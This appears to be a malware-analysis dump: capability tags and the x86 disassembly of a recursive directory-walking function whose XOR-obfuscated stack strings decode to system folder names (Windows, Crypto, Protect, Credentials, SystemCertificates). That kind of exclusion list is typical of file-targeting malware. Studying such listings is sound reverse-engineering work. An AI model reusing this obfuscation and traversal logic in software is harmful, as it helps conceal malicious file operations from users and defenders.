Function at 0x43348b
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5f0
mov eax, dword [ebp + 8]
and dword [ebp - 0x14], 0
push ebx
push esi
push edi
push 0x404f20
lea esi, [ebp - 0x5ec]
call fcn.0042c64c
pop ecx
test eax, eax
jne 0x4334bb
or eax, 0xffffffff
jmp 0x433898
lea eax, [ebp - 0x3dc]
push eax
lea eax, [ebp - 0x5ec]
push eax
push 0xa782e605
call fcn.00427cd3
pop ecx
call eax
mov dword [ebp - 0x1c], eax
or eax, 0xffffffff
cmp dword [ebp - 0x1c], eax
je 0x433898
mov bl, 0x63
test byte [ebp - 0x3dc], 0x10
je 0x433873
lea ecx, [ebp - 0x3b0]
call fcn.004325de
cmp eax, 1
je 0x433873
mov dword [ebp - 0x1dc], 0x63342c2f
mov dword [ebp - 0x258], 0x6330342c
mov dword [ebp - 0x218], 0x63632c37
mov dword [ebp - 0x198], 0x63372026
mov dword [ebp - 0x154], 0x63302f22
mov dword [ebp - 0x4c], 0x63633026
lea esi, [ebp - 0x10]
mov byte [ebp - 0x1d9], bl
mov dword [ebp - 0x25c], 0x272d2a34
mov byte [ebp - 0x255], bl
mov dword [ebp - 0x21c], 0x333a3120
mov byte [ebp - 0x216], bl
mov dword [ebp - 0x19c], 0x372c3133
mov byte [ebp - 0x195], bl
mov dword [ebp - 0x15c], 0x27263120
mov dword [ebp - 0x158], 0x2a372d26
mov byte [ebp - 0x151], bl
mov dword [ebp - 0x5c], 0x37303a30
mov dword [ebp - 0x58], 0x26202e26
mov dword [ebp - 0x54], 0x252a3731
mov dword [ebp - 0x50], 0x3722202a
mov byte [ebp - 0x4a], bl
mov dword [ebp - 0x11c], 0x202a3632
mov dword [ebp - 0x118], 0x222f4328
mov dword [ebp - 0x114], 0x2b202d36
mov byte [ebp - 0x110], bl
mov dword [ebp - 0x29c], 0x333a2830
mov dword [ebp - 0x298], 0x63636326
mov dword [ebp - 0xdc], 0x222b3040
mov dword [ebp - 0xd8], 0x2c272631
mov dword [ebp - 0xd4], 0x20262921
mov dword [ebp - 0xd0], 0x63633037
mov dword [ebp - 0x9c], 0x3120222e
mov dword [ebp - 0x98], 0x27262e2c
mov dword [ebp - 0x94], 0x204d222a
mov dword [ebp - 0x90], 0x63632e2c
call fcn.0040a50b
push ecx
mov esi, esp
push 0x4056ac
call fcn.00424f68
lea eax, [ebp - 0x10]
call 0x40aa98
push ecx
mov esi, esp
push 0x4056b0
call fcn.00424f68
lea eax, [ebp - 0x10]
call 0x40aa98
xor byte [ebp - 0x1dc], bl
je 0x43367d
lea eax, [ebp - 0x1dc]
inc eax
xor byte [eax], bl
jne 0x433678
push ecx
lea eax, [ebp - 0x1dc]
mov esi, esp
push eax
call fcn.00424f68
lea eax, [ebp - 0x10]
call 0x40aa98
mov byte [ebp - 0x29c], 0x53
lea eax, [ebp - 0x29c]
inc eax
xor byte [eax], bl
jne 0x4336a1
push ecx
lea eax, [ebp - 0x29c]
mov esi, esp
push eax
call fcn.00424f68
lea eax, [ebp - 0x10]
call 0x40aa98
mov byte [ebp - 0x21c], 0x43
lea eax, [ebp - 0x21c]
inc eax
xor byte [eax], bl
jne 0x4336ca
push ecx
lea eax, [ebp - 0x21c]
mov esi, esp
push eax
call fcn.00424f68
lea eax, [ebp - 0x10]
call 0x40aa98
mov byte [ebp - 0x19c], 0x50
lea eax, [ebp - 0x19c]
inc eax
xor byte [eax], bl
jne 0x4336f3
push ecx
lea eax, [ebp - 0x19c]
mov esi, esp
push eax
call fcn.00424f68
lea eax, [ebp - 0x10]
call 0x40aa98
mov byte [ebp - 0x25c], 0x57
lea eax, [ebp - 0x25c]
inc eax
xor byte [eax], bl
jne 0x43371c
push ecx
lea eax, [ebp - 0x25c]
mov esi, esp
push eax
call fcn.00424f68
lea eax, [ebp - 0x10]
call 0x40aa98
mov byte [ebp - 0x15c], 0x43
lea eax, [ebp - 0x15c]
inc eax
xor byte [eax], bl
jne 0x433745
push ecx
lea eax, [ebp - 0x15c]
mov esi, esp
push eax
call fcn.00424f68
lea eax, [ebp - 0x10]
call 0x40aa98
mov byte [ebp - 0x5c], 0x53
lea eax, [ebp - 0x5c]
inc eax
xor byte [eax], bl
jne 0x433768
push ecx
lea eax, [ebp - 0x5c]
mov esi, esp
push eax
call fcn.00424f68
lea eax, [ebp - 0x10]
call 0x40aa98
mov byte [ebp - 0x11c], 0x51
lea eax, [ebp - 0x11c]
inc eax
xor byte [eax], bl
jne 0x43378e
push ecx
lea eax, [ebp - 0x11c]
mov esi, esp
push eax
call fcn.00424f68
lea eax, [ebp - 0x10]
call 0x40aa98
mov byte [ebp - 0xdc], 0x23
lea eax, [ebp - 0xdc]
inc eax
xor byte [eax], bl
jne 0x4337b7
push ecx
lea eax, [ebp - 0xdc]
mov esi, esp
push eax
call fcn.00424f68
lea eax, [ebp - 0x10]
call 0x40aa98
mov byte [ebp - 0x9c], 0x4d
lea eax, [ebp - 0x9c]
inc eax
xor byte [eax], bl
jne 0x4337e0
push ecx
lea eax, [ebp - 0x9c]
mov esi, esp
push eax
call fcn.00424f68
lea eax, [ebp - 0x10]
call 0x40aa98
lea eax, [ebp - 0x3b0]
push eax
lea esi, [ebp - 0x18]
call fcn.00424f68
mov edi, esi
call fcn.00424e82
xor edi, edi
cmp dword [ebp - 0xc], edi
jbe 0x43383a
mov esi, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
neg ecx
sbb ecx, ecx
and ecx, esi
lea eax, [ebp - 0x18]
call fcn.00424dc0
test al, al
jne 0x43389d
inc edi
add esi, 4
cmp edi, dword [ebp - 0xc]
jb 0x43381c
lea esi, [ebp - 0x18]
call fcn.00424fe3
lea edi, [ebp - 0x10]
call fcn.0040a52d
inc dword [ebp - 0x14]
lea eax, [ebp - 0x3b0]
push eax
mov eax, dword [ebp + 8]
lea esi, [ebp - 0x4e4]
call fcn.0042c64c
pop ecx
test eax, eax
je 0x433873
mov eax, esi
push eax
call fcn.0043348b
add dword [ebp - 0x14], eax
pop ecx
lea eax, [ebp - 0x3dc]
push eax
push dword [ebp - 0x1c]
call fcn.00428ba8
pop ecx
pop ecx
test eax, eax
jne 0x4334e7
push dword [ebp - 0x1c]
call fcn.00428b93
mov eax, dword [ebp - 0x14]
pop ecx
pop edi
pop esi
pop ebx
leave
ret
lea esi, [ebp - 0x18]
call fcn.00424fe3
lea edi, [ebp - 0x10]
call fcn.0040a52d
jmp 0x433873